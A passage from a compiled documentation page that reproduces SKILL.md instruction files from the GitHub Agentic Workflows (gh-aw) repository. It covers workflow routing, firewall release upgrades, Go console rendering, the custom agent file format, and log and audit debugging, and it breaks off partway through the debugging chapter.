[@yaananth (1)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ayaananth)
[@Yoyokrazy (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3AYoyokrazy)
[@yskopets (53)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Ayskopets)
[@zarenner (5)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Azarenner)
[@zkoppert (2)](https://github.com/github/gh-aw/issues?q=is%3Aissue+is%3Aclosed+label%3Acommunity+author%3Azkoppert)

## Workshop

> [!TIP]
> **Ready to learn GitHub Agentic Workflows hands-on?** The [**Factory Tour Workshop**](https://github.com/githubnext/gh-aw-workshop) is a self-contained, step-by-step workshop repository designed to teach you how to build, run, and customize agentic workflows from scratch.

---

## Part: Skills

---

<!-- chapter:begin slug=agentic-workflows position=1 -->

## 1. agentic-workflows

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/agentic-workflows/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/agentic-workflows/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/agentic-workflows.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: agentic-workflows
description: Route gh-aw workflow design/create/debug/upgrade requests to the right prompts.
---

# Agentic Workflows Router

Use this skill when a user asks to design, create, update, debug, or upgrade GitHub Agentic Workflows in this repository.

This skill is a dispatcher: identify the task type, load the matching workflow prompt/skill file, and follow it directly. Keep responses concise and ask a clarifying question if the correct prompt is unclear.

Repository overlay (optional):
- If `.github/aw/instructions.md` exists, load it with `@.github/aw/instructions.md` after loading the matched prompt/skill.
- Precedence: repository overlay instructions override upstream defaults when they conflict.

Read only the files you need:
Load these files from `github/gh-aw` (they are not available locally).
- `.github/aw/action-container-substitutions.md`
- `.github/aw/agent-runtime-instructions.md`
- `.github/aw/agentic-chat.md`
- `.github/aw/agentic-workflows-mcp.md`
- `.github/aw/asciicharts.md`
- `.github/aw/campaign.md`
- `.github/aw/charts-trending.md`
- `.github/aw/charts.md`
- `.github/aw/cli-commands.md`
- `.github/aw/compat.md`
- `.github/aw/configure-agentic-engine.md`
- `.github/aw/context.md`
- `.github/aw/create-agentic-workflow-trigger-details.md`
- `.github/aw/create-agentic-workflow.md`
- `.github/aw/create-shared-agentic-workflow.md`
- `.github/aw/debug-agentic-workflow.md`
- `.github/aw/dependabot.md`
- `.github/aw/deployment-status.md`
- `.github/aw/designer-mappings.md`
- `.github/aw/designer.md`
- `.github/aw/drive-memory.md`
- `.github/aw/enclaves.md`
- `.github/aw/evals.md`
- `.github/aw/experiments.md`
- `.github/aw/github-agentic-workflows.md`
- `.github/aw/github-mcp-server-pagination.md`
- `.github/aw/github-mcp-server-tools.md`
- `.github/aw/github-mcp-server.md`
- `.github/aw/instructions.md`
- `.github/aw/intent.md`
- `.github/aw/jobs.md`
- `.github/aw/linter-workflows.md`
- `.github/aw/llms.md`
- `.github/aw/loop.md`
- `.github/aw/lsp.md`
- `.github/aw/maintainer.md`
- `.github/aw/mcp-clis.md`
- `.github/aw/memory-stateful-patterns.md`
- `.github/aw/memory.md`
- `.github/aw/messages.md`
- `.github/aw/multi-agent-research.md`
- `.github/aw/network.md`
- `.github/aw/optimize-agentic-workflow.md`
- `.github/aw/patterns.md`
- `.github/aw/playwright.md`
- `.github/aw/pr-reviewer.md`
- `.github/aw/release-workflow.md`
- `.github/aw/report.md`
- `.github/aw/reuse.md`
- `.github/aw/safe-outputs-automation.md`
- `.github/aw/safe-outputs-content.md`
- `.github/aw/safe-outputs-management.md`
- `.github/aw/safe-outputs-runtime.md`
- `.github/aw/safe-outputs.md`
- `.github/aw/serena-tool.md`
- `.github/aw/shared-safe-jobs.md`
- `.github/aw/skills.md`
- `.github/aw/subagents.md`
- `.github/aw/syntax-agentic.md`
- `.github/aw/syntax-core.md`
- `.github/aw/syntax-engine.md`
- `.github/aw/syntax-tools-imports.md`
- `.github/aw/syntax.md`
- `.github/aw/test-coverage.md`
- `.github/aw/test-expression.md`
- `.github/aw/token-optimization-caching-budgets.md`
- `.github/aw/token-optimization-observability.md`
- `.github/aw/token-optimization.md`
- `.github/aw/triggers.md`
- `.github/aw/update-agentic-workflow.md`
- `.github/aw/upgrade-agentic-workflows.md`
- `.github/aw/visual-regression.md`
- `.github/aw/workflow-constraints.md`
- `.github/aw/workflow-editing.md`
- `.github/aw/workflow-patterns.md`

After loading the matching workflow prompt or skill, follow it directly:
- Design workflows from scratch via interview: `.github/aw/designer.md`
- Create new workflows: `.github/aw/create-agentic-workflow.md`
- Configure or add declarative engines: `.github/aw/configure-agentic-engine.md`
- Update existing workflows: `.github/aw/update-agentic-workflow.md`
- Debug, audit, or investigate workflows: `.github/aw/debug-agentic-workflow.md`
- Upgrade workflows and fix deprecations: `.github/aw/upgrade-agentic-workflows.md`
- Create shared components or MCP wrappers: `.github/aw/create-shared-agentic-workflow.md`
- Create report-generating workflows: `.github/aw/report.md`
- Fix Dependabot manifest PRs: `.github/aw/dependabot.md`
- Analyze coverage workflows: `.github/aw/test-coverage.md`
- Render compact markdown charts: `.github/aw/asciicharts.md`
- Map CLI commands to MCP usage: `.github/aw/cli-commands.md`
- Choose workflow architecture and patterns: `.github/aw/patterns.md`
- Optimize token usage and cost: `.github/aw/token-optimization.md`
- Design long-running multi-agent research workflows: `.github/aw/multi-agent-research.md`
- Add skills or agent plugins requested by the user (`skills:` / `plugins:` frontmatter, never on-the-fly installs): `.github/aw/skills.md`

When the task involves OTEL, OTLP, traces, observability backends, or telemetry-driven analysis, also read and follow `skills/otel-queries/SKILL.md` after loading the matching workflow prompt or skill.

<!-- chapter:end slug=agentic-workflows -->

---

<!-- chapter:begin slug=awf-release-integrator position=2 -->

## 2. awf-release-integrator

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/awf-release-integrator/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/awf-release-integrator/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/awf-release-integrator.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: awf-release-integrator
description: Upgrade gh-aw to latest gh-aw-firewall release and identify follow-up spec tasks.
---

# AWF Release Integrator

Use this skill when updating `github/gh-aw` to a newer `github/gh-aw-firewall` release.

## Goal

Land the version bump cleanly, rebuild the generated artifacts, and review upstream release/spec changes for any follow-up work that should accompany the bump.

## Required sources

Consult these sources before editing anything:

1. The latest `github/gh-aw-firewall` release metadata and body.
2. The current gh-aw version pins in `pkg/constants/version_constants.go`.
3. The canonical AWF config sources spec in `specs/awf-config-sources-spec.md`.
4. The embedded AWF schema in `pkg/workflow/schemas/awf-config.schema.json`.
5. AWF config integration code in:
   - `pkg/workflow/awf_config.go`
   - `pkg/workflow/awf_config_build.go`
   - `pkg/workflow/awf_config_schema.go`
   - `pkg/workflow/awf_config_policy.go`
   - `pkg/workflow/awf_helpers.go`
   - related AWF tests under `pkg/workflow/`

For upstream spec review, compare these files from the target `github/gh-aw-firewall` release or tag:

- `docs/awf-config-spec.md`
- `docs/awf-config.schema.json`
- `src/awf-config-schema.json`
- any release assets such as `awf-config.schema.json`

## Update procedure

1. Read `pkg/constants/version_constants.go` and record:
   - `DefaultFirewallVersion`
   - every `AWF*MinVersion` constant
2. Look up the latest `github/gh-aw-firewall` release.
3. If the latest release tag matches `DefaultFirewallVersion`, report that no version bump is needed and only continue with spec/release-note review if explicitly requested.
4. If a newer release exists, update the gh-aw pins:
   - bump `DefaultFirewallVersion`
   - update any `AWF*MinVersion` constants that must move because the new release introduces or changes gated flags/features
5. Review release notes for:
   - new flags
   - removed or deprecated flags
   - schema/config additions
   - security fixes
   - behavioral changes that could require new tests, docs, or ADR/spec updates
6. Review the upstream AWF specification and schema changes against:
   - `pkg/workflow/schemas/awf-config.schema.json`
   - `specs/awf-config-sources-spec.md`
   - local AWF config generation and validation code
7. Update any directly related gh-aw files needed for a complete integration, such as:
   - embedded schema copies
   - version-gated helpers/tests
   - specs or ADRs documenting newly surfaced AWF behavior
8. Add or update a patch changeset when the bump changes shipped behavior.

## Required validation

After editing, run the full AWF rebuild flow exactly in this order. The second
`make recompile` is required to refresh image SHA pins resolved during the first pass.

```bash
make build
make recompile
make recompile
```

Then run focused validation for any touched Go code or schema logic, especially AWF-related tests.

## Expected output

Summarize:

- current gh-aw AWF version → target release
- updated constants
- release-note highlights
- specification/schema differences reviewed
- additional recommended follow-up updates that are not yet implemented

## Review heuristics

When deciding whether more than a version bump is needed, specifically check for:

- new AWF schema properties not represented in gh-aw
- new CLI flags that need `AWF*MinVersion` gates
- config fields present in schema but absent from gh-aw generation/validation
- drift that should update `specs/awf-config-sources-spec.md`
- tests whose expected pinned AWF version or schema URLs need refresh

<!-- chapter:end slug=awf-release-integrator -->

---

<!-- chapter:begin slug=console-rendering position=3 -->

## 3. console-rendering

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/console-rendering/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/console-rendering/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/console-rendering.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: console-rendering
description: Use Go struct tags to render styled terminal output in gh-aw.
---

# Console Rendering System Usage

Use this guide for the struct tag-based console rendering system.

## Struct Tag Support

Use the `console` struct tag to control rendering behavior:

- **`header:"Name"`** - Sets the display name for fields (used in both structs and tables)
- **`title:"Section Title"`** - Sets the title for nested structs, slices, or maps
- **`format:"type"`** - Sets the formatting type for the field value
  - `format:number` - Formats integers as human-readable numbers (e.g., "1k", "1.2M")
  - `format:cost` - Formats floats as currency with $ prefix (e.g., "$1.234")
- **`omitempty`** - Skips the field if it has a zero value
- **`"-"`** - Always skips the field

## Example Usage

```go
type Overview struct {
    RunID    int64  `console:"header:Run ID"`
    Workflow string `console:"header:Workflow"`
    Status   string `console:"header:Status"`
    Duration string `console:"header:Duration,omitempty"`
}

data := Overview{
    RunID:    12345,
    Workflow: "test-workflow",
    Status:   "completed",
    Duration: "5m30s",
}

// Simple rendering
fmt.Print(console.RenderStruct(data))

// Output:
//   Run ID  : 12345
//   Workflow: test-workflow
//   Status  : completed
//   Duration: 5m30s
```

## Format Tag Examples

### Number Formatting

```go
type Metrics struct {
    TokenUsage int `console:"header:Token Usage,format:number"`
    Errors     int `console:"header:Errors"`
}

data := Metrics{
    TokenUsage: 250000,
    Errors:     5,
}

// Renders as:
//   Token Usage: 250k
//   Errors     : 5
```

### Cost Formatting

```go
type Billing struct {
    Cost float64 `console:"header:Estimated Cost,format:cost"`
}

data := Billing{
    Cost: 1.234,
}

// Renders as:
//   Estimated Cost: $1.234
```

## Rendering Behavior

### Structs
Structs are rendered as key-value pairs with proper alignment.

### Slices
Slices of structs are automatically rendered as tables:

```go
type Job struct {
    Name       string `console:"header:Name"`
    Status     string `console:"header:Status"`
    Conclusion string `console:"header:Conclusion,omitempty"`
}

jobs := []Job{
    {Name: "build", Status: "completed", Conclusion: "success"},
    {Name: "test", Status: "in_progress", Conclusion: ""},
}

fmt.Print(console.RenderStruct(jobs))
```

Renders as:

```
Name  | Status      | Conclusion
----- | ----------- | ----------
build | completed   | success
test  | in_progress | -
```

### Maps
Maps are rendered as markdown-style headers with key-value pairs.

### Special Type Handling

#### time.Time
`time.Time` fields are automatically formatted as `"2006-01-02 15:04:05"`. Zero time values are considered empty when used with `omitempty`.

#### Unexported Fields
The rendering system safely handles unexported struct fields by checking `CanInterface()` before attempting to access field values.

<!-- chapter:end slug=console-rendering -->

---

<!-- chapter:begin slug=custom-agents position=4 -->

## 4. custom-agents

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/custom-agents/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/custom-agents/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/custom-agents.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: custom-agents
description: Define and validate GitHub custom agent files, prompts, and examples.
---


# GitHub Custom Agent File Format

Use this reference for the GitHub custom agent file format.

## Overview

GitHub Copilot reads custom agent instructions from Markdown files with YAML frontmatter. Use them to define specialized behavior, tool access, and workflows for your repository.

## File Locations

Place custom agent files in these locations based on scope:

### 1. Repository-wide Instructions
- **File**: `.github/copilot-instructions.md`
- **Scope**: Applies to all code generation in the repository
- **Use case**: General coding standards, security requirements, testing practices

### 2. Path-specific Instructions
- **Directory**: `.github/instructions/`
- **Pattern**: `*.instructions.md` (e.g., `frontend.instructions.md`, `backend.instructions.md`)
- **Scope**: Can target specific directories or file patterns using `applyTo` in frontmatter
- **Use case**: Framework-specific guidelines, component-specific rules

### 3. Custom Agent Profiles
- **Directory**: `.github/agents/` or `.github/copilot/instructions/`
- **Pattern**: `AGENTS.md`, `*.md` (e.g., `readme-creator.md`, `test-writer.md`)
- **Scope**: Defines specialized agents with specific capabilities and instructions
- **Use case**: Task-specific agents (documentation, testing, refactoring)

### 4. agentic workflow integration
- **Location**: Imported via `imports` field in workflow frontmatter
- **Pattern**: Any markdown files under `.github/agents/` directory
- **Scope**: Custom agent for specific agentic workflow execution
- **Use case**: Workflow-specific agent configuration
- **Important**: Only one agent file is allowed per workflow

## File Format

### Basic Structure

```markdown
# YAML frontmatter (configuration)
name: agent-name
description: Brief description of agent's purpose

# Markdown body (instructions)

Your natural language instructions for the agent go here.
```

### Complete YAML Frontmatter Schema

```yaml
# Required fields
name: agent-identifier              # Unique identifier for the agent

# Optional descriptive fields
description: >                      # Multi-line description of agent's purpose
  Agent specializing in specific tasks

# Optional instruction fields
prompt: |                          # Freeform instructions (alternative to markdown body)
  Your instructions here

# Optional tool configuration
tools:                             # List of allowed tools for this agent
  - createFile
  - editFiles
  - codeSearch
  - search

# Optional path targeting (for .instructions.md files)
applyTo:                          # Glob patterns for targeted files/directories
  - "src/frontend/**"
  - "**/*.tsx"

# Optional MCP server configuration (enterprise/org only)
mcp-server:                       # External MCP server configuration
  url: https://my-mcp-server.com
  api-key: ${{ secrets.MCPSERVER_API_KEY }}

# Optional settings
settings:                         # Custom runtime or connection settings
  key: value
```

## Field Descriptions

### Core Fields

#### name (string, required for agent profiles)
- Unique identifier for the custom agent
- Used to reference the agent in workflows or assignments
- Convention: lowercase with hyphens (e.g., `readme-creator`, `test-writer`)

#### description (string, optional)
- Human-friendly description of the agent's focus and behavior
- Helps users understand what the agent specializes in
- Can be multi-line using YAML's `>` or `|` syntax

#### prompt (string, optional)
- Alternative to using the markdown body for instructions
- Contains freeform natural language instructions
- Use YAML's `|` (literal) or `>` (folded) for multi-line content
- If both `prompt` and markdown body exist, they are typically combined

### Tool Configuration

#### tools (array of strings, optional)
- List of tools the agent is allowed to use
- If omitted or set to `["*"]`, agent has access to all available tools
- Tool names are **case-insensitive**
- Supports both GitHub's standard tool aliases and legacy naming conventions

**GitHub Standard Tool Aliases:**

GitHub Copilot defines a standardized set of tool aliases for custom agents:

- **`read`** - Access and read contents of files or code
- **`edit`** - Make changes in code files, apply edits or refactoring
- **`search`** - Search codebase for keywords, references, or patterns
- **`pr`** - Create, manage, or update pull requests
- **`issue`** - Create, manage, or update issues

**Legacy Tool Names:**

For backward compatibility, these legacy tool names are still supported:

- `createFile` - Create new files (use `edit` instead)
- `editFiles` - Modify existing files (use `edit` instead)
- `deleteFiles` - Remove files (use `edit` instead)
- `codeSearch` - Semantic code search (use `search` instead)
- `runCommand` - Execute shell commands
- `getFile` - Read file contents (use `read` instead)
- `listFiles` - List directory contents (use `read` instead)

**MCP Server Tool Prefixes:**

When using Model Context Protocol (MCP) servers, you can specify tools with server prefixes:
- Single tool: `my-mcp-server/tool-name`
- All tools from a server: `my-mcp-server/*`

**Examples:**

```yaml
# Using standard tool aliases
tools:
  - read
  - edit
  - search

# Enable all tools with wildcard
tools: ["*"]

# Using legacy names (still supported)
tools:
  - editFiles
  - createFile
  - search

# Mixed standard and MCP server tools
tools:
  - read
  - edit
  - github-mcp/create_issue
  - custom-mcp/*

# Empty list disables all tools
tools: []
```

### Path Targeting

#### applyTo (array of strings, optional)
- Only used in `.instructions.md` files
- Specifies glob patterns for files/directories these instructions apply to
- Supports wildcards: `*` (any characters), `**` (any directories)
- Multiple patterns can be specified

**Example:**
```yaml
applyTo:
  - "src/frontend/**/*.tsx"
  - "src/frontend/**/*.ts"
  - "components/**"
```

### Enterprise Features

#### mcp-server (object, optional)
- Configuration for external MCP (Model Context Protocol) servers
- Typically used in enterprise or organization settings
- Allows integration with custom tools and services

**Fields:**
- `url` (string): MCP server endpoint
- `api-key` (string): Authentication key (use GitHub secrets)

**Example:**
```yaml
mcp-server:
  url: https://internal-tools.company.com/mcp
  api-key: ${{ secrets.INTERNAL_MCP_KEY }}
```

#### settings (object, optional)
- Custom runtime or connection settings
- Key-value pairs for agent-specific configuration
- Format and available keys depend on the agent implementation

## Usage Patterns

### Pattern 1: Repository-wide Standards

**File:** `.github/copilot-instructions.md`

```markdown
description: Repository-wide coding standards

# Coding Standards

## Style Guide
- Use single quotes in JavaScript/TypeScript
- Follow ESLint configuration in `.eslintrc.json`
- Maximum line length: 100 characters

## Security
- Always set `httpOnly` and `secure` flags for cookies
- Validate all user input
- Use parameterized queries for database access

## Testing
- All new code must include Jest tests
- Aim for >80% code coverage
- Test edge cases and error conditions
```

### Pattern 2: Path-specific Instructions

**File:** `.github/instructions/frontend.instructions.md`

```markdown
description: Frontend development guidelines
applyTo:
  - "src/frontend/**"
  - "components/**"

# Frontend Development Guidelines

## Component Structure
- Use React functional components with hooks
- Prefer composition over inheritance
- Keep components small and focused (< 150 lines)

## Styling
- Use CSS Modules for component styles
- Follow BEM naming convention
- Use Tailwind utility classes where appropriate

## State Management
- Use React Context for global state
- Keep local state in components when possible
- Use reducers for complex state logic
```

### Pattern 3: Custom Agent Profile

**File:** `.github/agents/readme-creator.md`

```markdown
name: readme-creator
description: Agent specializing in creating and improving README files
tools:
  - read
  - edit
  - search

# README Creator Agent

You are a documentation specialist focused on creating clear, comprehensive README files.

## Responsibilities
- Create well-structured README.md files for projects
- Include all standard sections: Overview, Installation, Usage, Contributing
- Generate accurate code examples
- Ensure documentation is up-to-date with codebase

## Style Guidelines
- Use clear, concise language
- Include code examples with syntax highlighting
- Add badges for build status, coverage, version
- Organize with logical heading hierarchy
- Include a table of contents for long READMEs

## Quality Standards
- Verify all code examples are accurate
- Test installation instructions
- Ensure links are valid and working
- Check for proper Markdown formatting
```

### Pattern 4: Test Writer Agent

**File:** `.github/agents/test-writer.md`

```markdown
name: test-writer
description: Specialized agent for writing comprehensive test suites
tools:
  - read
  - edit
  - search

# Test Writer Agent

You specialize in creating comprehensive, well-structured test suites.

## Testing Framework
- Use Jest for JavaScript/TypeScript
- Follow AAA pattern: Arrange, Act, Assert
- Use descriptive test names: "should [expected behavior] when [condition]"

## Test Coverage
- Write unit tests for all public functions
- Create integration tests for API endpoints
- Add edge case tests (null, undefined, empty, boundary values)
- Test error conditions and exception handling

## Test Organization
- Group related tests with `describe` blocks
- Use `beforeEach` and `afterEach` for setup/teardown
- Keep tests independent and isolated
- Mock external dependencies

## Best Practices
- One assertion per test when possible
- Use test data builders for complex objects
- Avoid test interdependence
- Keep tests fast (< 1 second each)
```

### Pattern 5: Agentic Workflow Integration

**File:** `.github/workflows/code-review.md`

```markdown
on:
  pull_request:
    types: [opened, synchronize]
permissions:
  contents: read
  pull-requests: write
engine:
  id: copilot
  custom-agent: .github/agents/code-reviewer.md

# Automated Code Review

Review the pull request changes and provide constructive feedback.
```

**File:** `.github/agents/code-reviewer.md`

```markdown
name: code-reviewer
description: Agent specialized in performing code reviews
tools:
  - read
  - search

# Code Review Agent

You are an experienced code reviewer focused on code quality, security, and best practices.

## Review Checklist
- Code follows repository style guidelines
- Proper error handling is implemented
- Security best practices are followed
- Tests are included for new functionality
- Documentation is updated where needed
- No unnecessary complexity

## Feedback Style
- Be constructive and specific
- Explain the reasoning behind suggestions
- Prioritize issues (critical, important, minor)
- Acknowledge good patterns and improvements
- Provide code examples for suggestions
```

## Integration with gh-aw

The gh-aw (GitHub Agentic Workflows) tool supports custom agent files through the `imports` field in workflow frontmatter. Any markdown files under the `.github/agents/` directory are treated as custom agent files when imported.

### Preferred way to install skills in workflows

Use the `skills:` frontmatter field as the preferred way to install external skills for workflow runs. This installs skills during activation and persists them correctly between jobs. Use the top-level `plugins:` field the same way for agent plugins. Never add on-the-fly installation steps or ask the agent to install a skill or plugin from the prompt.

Use `imports:` for workflow prompt/context files (including local custom agent files), not as the primary skill installation path.

```markdown
on: pull_request
engine:
  id: copilot
skills:
  - mattpocock/skills/tdd@801dca688564c529fa84f247f64472520d9ebe28
plugins:
  - octo-org/agent-plugin@v1
imports:
  - .github/agents/code-reviewer.md

# Workflow prompt
```

### Configuration

```markdown
on: issues
engine:
  id: copilot
imports:
  - .github/agents/my-agent.md

# My Workflow

Instructions for the workflow...
```

### Supported Engines

Custom agent files are supported by the following engines:

1. **Copilot** - Uses `--agent <path>` flag to load custom agent file
2. **Claude** - Prepends agent file content to the workflow prompt
3. **Codex** - Prepends agent file content to the workflow prompt

### File Path Resolution

- Agent files are imported via the `imports` field
- Must be markdown files located under `.github/agents/` directory
- Only one agent file is allowed per workflow
- File is validated during workflow compilation
- Checkout step is automatically added if agent file is imported

### Example Workflow with Custom Agent

```markdown
on:
  issues:
    types: [opened]
permissions:
  contents: read
  issues: write
engine:
  id: copilot
imports:
  - .github/agents/issue-triager.md
tools:
  github:
    allowed:
      - add_labels_to_issue
      - create_issue_comment

# Issue Triage Workflow

Analyze the issue and categorize it appropriately.
```

## Best Practices

### 1. Keep Instructions Focused
- Each agent should have a clear, specific purpose
- Avoid mixing unrelated concerns in a single agent
- Create multiple specialized agents rather than one general-purpose agent

### 2. Be Explicit and Specific
- Provide concrete examples of expected behavior
- Define clear success criteria
- Specify edge cases and error handling

### 3. Use Appropriate Scoping
- Repository-wide instructions for universal standards
- Path-specific instructions for framework or directory-specific rules
- Custom agents for task-specific workflows

### 4. Test Agent Behavior
- Verify agent follows instructions correctly
- Test with various input scenarios
- Iterate based on actual agent performance

### 5. Maintain and Update
- Keep instructions current with codebase changes
- Review and refine based on agent performance
- Remove outdated or conflicting instructions

### 6. Security Considerations
- Limit tool access to what's necessary
- Be cautious with file deletion permissions
- Use secrets for sensitive configuration
- Review agent actions regularly

## Common Patterns

### Documentation Agent
```yaml
name: documentation-specialist
description: Creates and maintains technical documentation
tools: [read, edit, search]
```

### Refactoring Agent
```yaml
name: code-refactorer
description: Improves code quality and structure
tools: [read, edit, search]
```

### Security Auditor
```yaml
name: security-auditor
description: Reviews code for security vulnerabilities
tools: [read, search]
```

### Migration Assistant
```yaml
name: migration-helper
description: Assists with framework or library migrations
tools: [read, edit, search]
```

### Issue Management Agent
```yaml
name: issue-manager
description: Manages GitHub issues and project tracking
tools: [read, issue]
```

### Pull Request Assistant
```yaml
name: pr-assistant
description: Assists with pull request creation and management
tools: [read, edit, pr]
```

## Troubleshooting

### Agent Not Following Instructions
- Make instructions more explicit and specific
- Provide concrete examples
- Break down complex instructions into steps
- Ensure instructions don't conflict

### Tool Access Issues
- Verify tools are listed in `tools` array
- Check agent has necessary permissions
- Ensure tools are available in the environment

### Path Targeting Not Working
- Verify glob patterns are correct
- Check file paths match patterns
- Ensure `applyTo` is only used in `.instructions.md` files

### Custom Agent File Not Found
- Verify agent file is imported in the `imports` field
- Ensure file exists and is committed under `.github/agents/` directory
- Confirm agent file path is correct in imports list
- Remember: only one agent file is allowed per workflow

## References

- [GitHub Copilot Agent Filess Configuration](https://docs.github.com/en/copilot/reference/copilot-custom-agents-configuration) - Official reference for custom agent configuration including tool aliases
- [GitHub Copilot Custom Instructions Documentation](https://docs.github.com/en/copilot/how-tos/configure-custom-instructions/add-repository-instructions)
- [About Custom Agents](https://docs.github.com/en/copilot/concepts/agents/coding-agent/about-custom-agents)
- [GitHub Blog: Custom Instructions Support](https://github.blog/changelog/2025-07-23-github-copilot-coding-agent-now-supports-instructions-md-custom-instructions/)
- [GitHub Blog: AGENTS.md Support](https://github.blog/changelog/2025-08-28-copilot-coding-agent-now-supports-agents-md-custom-instructions/)

## Examples in This Repository

The gh-aw repository uses custom agent files for performance engineering guides:

- `.github/copilot/instructions/ci-performance.md` - CI/CD optimization
- `.github/copilot/instructions/workflow-performance.md` - Workflow efficiency
- `.github/copilot/instructions/build-performance.md` - Build optimization
- `.github/copilot/instructions/cli-performance.md` - CLI performance

These files provide specialized guidance for performance engineering tasks and demonstrate the custom agent file format in practice.

<!-- chapter:end slug=custom-agents -->

---

<!-- chapter:begin slug=debugging-workflows position=5 -->

## 5. debugging-workflows

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/debugging-workflows/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/debugging-workflows/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/debugging-workflows.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: debugging-workflows
description: Debug gh-aw workflows using run logs, audits, and failure triage.
---


# Debugging GitHub Agentic Workflows

Use this guide to debug GitHub Agentic Workflows: download and analyze logs, audit runs, and trace workflow behavior.

## Table of Contents

- [Quick Start](#quick-start)
- [Downloading Workflow Logs](#downloading-workflow-logs)
- [Auditing Specific Runs](#auditing-specific-runs)
- [How Agentic Workflows Work](#how-agentic-workflows-work)
- [Common Issues and Solutions](#common-issues-and-solutions)
- [Advanced Debugging Techniques](#advanced-debugging-techniques)
- [Reference Commands](#reference-commands)

## Quick Start

### Download Logs from Recent Runs

```bash
# Download logs from the last 24 hours
gh aw logs --start-date -1d -o /tmp/workflow-logs

# Download logs for a specific workflow
gh aw logs weekly-research --start-date -1d

# Download logs with JSON output for programmatic analysis
gh aw logs --json
```

### Audit a Specific Run

```bash
# Audit by run ID
gh aw audit 1234567890

# Audit from a GitHub Actions URL
gh aw audit https://github.com/owner/repo/actions/runs/1234567890

# Audit with JSON output
gh aw audit 1234567890 --json
```

## Downloading Workflow Logs

The `gh aw logs` command downloads workflow run artifacts and logs from GitHub Actions for analysis.

### Basic Usage

```bash
# Download logs for all workflows (last 10 runs)
gh aw logs

# Download logs for a specific workflow
gh aw logs <workflow-name>

# Download with custom output directory
gh aw logs -o ./my-logs
```

### Filter Options

```bash
# Filter by date range
gh aw logs --start-date 2024-01-01 --end-date 2024-01-31
gh aw logs --start-date -1w                    # Last week
gh aw logs --start-date -1mo                   # Last month

# Filter by AI engine
gh aw logs --engine copilot
gh aw logs --engine claude
gh aw logs --engine codex

# Filter by count
gh aw logs -c 5                                # Last 5 runs

# Filter by branch/tag
gh aw logs --ref main
gh aw logs --ref feature-xyz

# Filter by run ID range
gh aw logs --after-run-id 1000 --before-run-id 2000

# Filter firewall-enabled runs
gh aw logs --firewall                          # Only firewall-enabled
gh aw logs --no-firewall                       # Only non-firewall
```

### Output Options

```bash
# Generate JSON summary
gh aw logs --json

# Parse agent logs and generate Markdown reports
gh aw logs --parse

# Generate Mermaid tool sequence graph
gh aw logs --tool-graph

# Set download timeout
gh aw logs --timeout 300                       # 5 minute timeout
```

### Downloaded Artifacts

When you run `gh aw logs`, the following artifacts are downloaded for each run:

| File | Description |
|------|-------------|
| `aw_info.json` | Engine configuration and workflow metadata |
| `safe_output.jsonl` | Agent's final output content (when non-empty) |
| `agent_output/` | Agent logs directory |
| `agent-stdio.log` | Agent standard output/error logs |
| `aw.patch` | Git patch of changes made during execution |
| `workflow-logs/` | GitHub Actions job logs (organized by job) |
| `summary.json` | Complete metrics and run data for all runs |

### Example: Analyze Recent Failures

```bash
# Download failed runs from last week
gh aw logs --start-date -1w -o /tmp/debug-logs

# Check the summary for patterns
cat /tmp/debug-logs/summary.json | jq '.runs[] | select(.conclusion == "failure")'
```

## Auditing Specific Runs

The `gh aw audit` command investigates a single workflow run in detail, downloading artifacts, detecting errors, and generating a report.

### Basic Usage

```bash
# Audit by numeric run ID
gh aw audit 1234567890

# Audit from GitHub Actions URL
gh aw audit https://github.com/owner/repo/actions/runs/1234567890

# Audit from job URL (extracts first failing step)
gh aw audit https://github.com/owner/repo/actions/runs/1234567890/job/9876543210

# Audit from job URL with specific step
gh aw audit https://github.com/owner/repo/actions/runs/1234567890/job/9876543210#step:7:1
```

### Output Options

```bash
# JSON output for programmatic analysis
gh aw audit 1234567890 --json

# Custom output directory
gh aw audit 1234567890 -o ./audit-reports

# Parse agent logs and firewall logs
gh aw audit 1234567890 --parse

# Verbose output
gh aw audit 1234567890 -v
```

### Audit Report Contents

The audit command provides:

- **Error Detection**: Errors and warnings from workflow logs
- **MCP Tool Usage**: Statistics on tool calls by the AI agent
- **Missing Tools**: Tools the agent tried to use but weren't available
- **Execution Metrics**: Duration, token usage, and cost information
- **Safe Output Analysis**: What GitHub operations were attempted

### Example: Investigate a Failed Run

```bash
# Get detailed audit report
gh aw audit 1234567890 --json > audit.json

# Extract key information
cat audit.json | jq '{
  status: .status,
  conclusion: .conclusion,
  errors: .errors,
  missing_tools: .missing_tools,
  tool_usage: .tool_usage
}'
```

## How Agentic Workflows Work

Understanding the workflow architecture helps in debugging.

### Workflow Structure

Agentic workflows use a **markdown + YAML frontmatter** format:

